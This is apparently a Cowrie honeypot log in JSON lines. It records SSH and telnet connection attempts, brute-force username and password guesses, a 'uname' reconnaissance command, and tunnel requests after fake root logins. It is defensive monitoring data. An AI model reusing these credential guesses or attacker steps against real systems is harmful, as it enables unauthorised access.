{"eventid":"cowrie.login.failed","username":"susanna","password":"susanna","message":"login attempt [susanna/susanna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:09:48.095577Z","src_ip":"213.209.159.159","session":"200607426f86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:09:48.408571Z","src_ip":"2.57.121.25","session":"b1d03e5f5971","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"susanna","password":"susanna1","message":"login attempt [susanna/susanna1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:09:49.181345Z","src_ip":"213.209.159.159","session":"200607426f86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"susanna","password":"susanna123","message":"login attempt [susanna/susanna123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:09:50.266279Z","src_ip":"213.209.159.159","session":"200607426f86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.105","src_port":58890,"dst_ip":"10.17.0.5","dst_port":23,"session":"63feeb71a54d","protocol":"telnet","message":"New connection: 185.242.3.105:58890 (10.17.0.5:23) [session: 63feeb71a54d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:09:51.235193Z"}
{"eventid":"cowrie.login.failed","username":"susanna","password":"susanna1234","message":"login attempt [susanna/susanna1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:09:51.350788Z","src_ip":"213.209.159.159","session":"200607426f86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"susanna","password":"susanna12345","message":"login attempt [susanna/susanna12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:09:52.435209Z","src_ip":"213.209.159.159","session":"200607426f86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.9","message":"Connection lost after 17.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:09:53.520415Z","src_ip":"213.209.159.159","session":"200607426f86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":50310,"dst_ip":"159.203.135.109","dst_port":22,"session":"fab319ae66ae","protocol":"ssh","message":"New connection: 14.225.2.125:50310 (159.203.135.109:22) [session: fab319ae66ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:10:14.606892Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:10:14.878966Z","src_ip":"14.225.2.125","session":"fab319ae66ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":56150,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3823af9f47e","protocol":"ssh","message":"New connection: 14.225.2.125:56150 (159.203.135.109:22) [session: d3823af9f47e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:10:15.144584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:10:15.149258Z","src_ip":"14.225.2.125","session":"d3823af9f47e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:10:15.413834Z","src_ip":"14.225.2.125","session":"d3823af9f47e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.95.116","src_port":53682,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cc53dc641ab","protocol":"ssh","message":"New connection: 80.94.95.116:53682 (10.17.0.5:22) [session: 1cc53dc641ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:10:15.485085Z"}
{"eventid":"cowrie.login.success","username":"root","password":"qwe!!","message":"login attempt [root/qwe!!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:10:16.902466Z","src_ip":"14.225.2.125","session":"d3823af9f47e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.10.5","message":"Remote SSH version: SSH-2.0-libssh_0.10.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:10:17.282216Z","src_ip":"80.94.95.116","session":"1cc53dc641ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1f2f2f9b0a736952f743e5490c64c98a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,chacha20-poly1305@openssh.com,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","chacha20-poly1305@openssh.com","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1f2f2f9b0a736952f743e5490c64c98a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:10:17.397293Z","src_ip":"80.94.95.116","session":"1cc53dc641ab","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:10:17.463221Z","src_ip":"14.225.2.125","session":"d3823af9f47e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:10:17.466099Z","src_ip":"14.225.2.125","session":"d3823af9f47e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:10:17.735393Z","src_ip":"14.225.2.125","session":"d3823af9f47e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:10:17.741672Z","src_ip":"14.225.2.125","session":"d3823af9f47e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin1234","message":"login attempt [root/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:10:18.459092Z","src_ip":"80.94.95.116","session":"1cc53dc641ab","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"192.178.25.174","dst_port":443,"src_ip":"80.94.95.116","src_port":0,"message":"direct-tcp connection request to 192.178.25.174:443 from 127.0.0.1:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:10:18.594900Z","session":"1cc53dc641ab","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"192.178.25.174","dst_port":443,"data":"b\"\\x16\\x03\\x03\\x00%\\x10\\x00\\x00! \\x85J\\xc9\\x8ea[\\x86pP-P*f\\x9a\\x8d\\xbd/'\\xcf\\xd8&\\xde\\xe8\\xb8\\xf7j\\xe5?f\\xa7\\xa7\\xf7\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 192.178.25.174:443 with data b\"\\x16\\x03\\x03\\x00%\\x10\\x00\\x00! \\x85J\\xc9\\x8ea[\\x86pP-P*f\\x9a\\x8d\\xbd/'\\xcf\\xd8&\\xde\\xe8\\xb8\\xf7j\\xe5?f\\xa7\\xa7\\xf7\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:10:19.507540Z","src_ip":"80.94.95.116","session":"1cc53dc641ab","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"google.com","dst_port":443,"src_ip":"80.94.95.116","src_port":0,"message":"direct-tcp connection request to google.com:443 from 127.0.0.1:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:10:20.068790Z","session":"1cc53dc641ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:10:20.183052Z","src_ip":"80.94.95.116","session":"1cc53dc641ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.44222664833069,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:10:21.677334Z","src_ip":"185.242.3.105","session":"63feeb71a54d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.127.249","src_port":56552,"dst_ip":"10.17.0.5","dst_port":22,"session":"539d604ff6bb","protocol":"ssh","message":"New connection: 45.79.127.249:56552 (10.17.0.5:22) [session: 539d604ff6bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:11:19.601046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:11:19.604714Z","src_ip":"45.79.127.249","session":"539d604ff6bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:11:19.807713Z","src_ip":"45.79.127.249","session":"539d604ff6bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pancakeswap","password":"pancakeswap","message":"login attempt [pancakeswap/pancakeswap] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:11:20.215599Z","src_ip":"45.79.127.249","session":"539d604ff6bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:11:21.420849Z","src_ip":"45.79.127.249","session":"539d604ff6bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.105.63.214","src_port":51722,"dst_ip":"10.17.0.5","dst_port":22,"session":"d60e559692c9","protocol":"ssh","message":"New connection: 172.105.63.214:51722 (10.17.0.5:22) [session: d60e559692c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:11:31.637174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:11:31.641583Z","src_ip":"172.105.63.214","session":"d60e559692c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:11:31.858878Z","src_ip":"172.105.63.214","session":"d60e559692c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cfx","password":"cfx@","message":"login attempt [cfx/cfx@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:11:32.295465Z","src_ip":"172.105.63.214","session":"d60e559692c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:11:33.513913Z","src_ip":"172.105.63.214","session":"d60e559692c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.181.101.111","src_port":42396,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d0fba9a2479","protocol":"ssh","message":"New connection: 135.181.101.111:42396 (10.17.0.5:22) [session: 1d0fba9a2479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:12:06.868508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:12:06.874086Z","src_ip":"135.181.101.111","session":"1d0fba9a2479","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:12:06.982615Z","src_ip":"135.181.101.111","session":"1d0fba9a2479","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mooning","password":"MOONING2017","message":"login attempt [mooning/MOONING2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:12:07.204062Z","src_ip":"135.181.101.111","session":"1d0fba9a2479","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:12:08.313440Z","src_ip":"135.181.101.111","session":"1d0fba9a2479","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":45980,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc95cd4d4def","protocol":"ssh","message":"New connection: 213.209.159.159:45980 (159.203.135.109:22) [session: dc95cd4d4def]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:12:35.284684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:12:42.607821Z","src_ip":"213.209.159.159","session":"dc95cd4d4def","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:12:42.686406Z","src_ip":"213.209.159.159","session":"dc95cd4d4def","protocol":"ssh"}
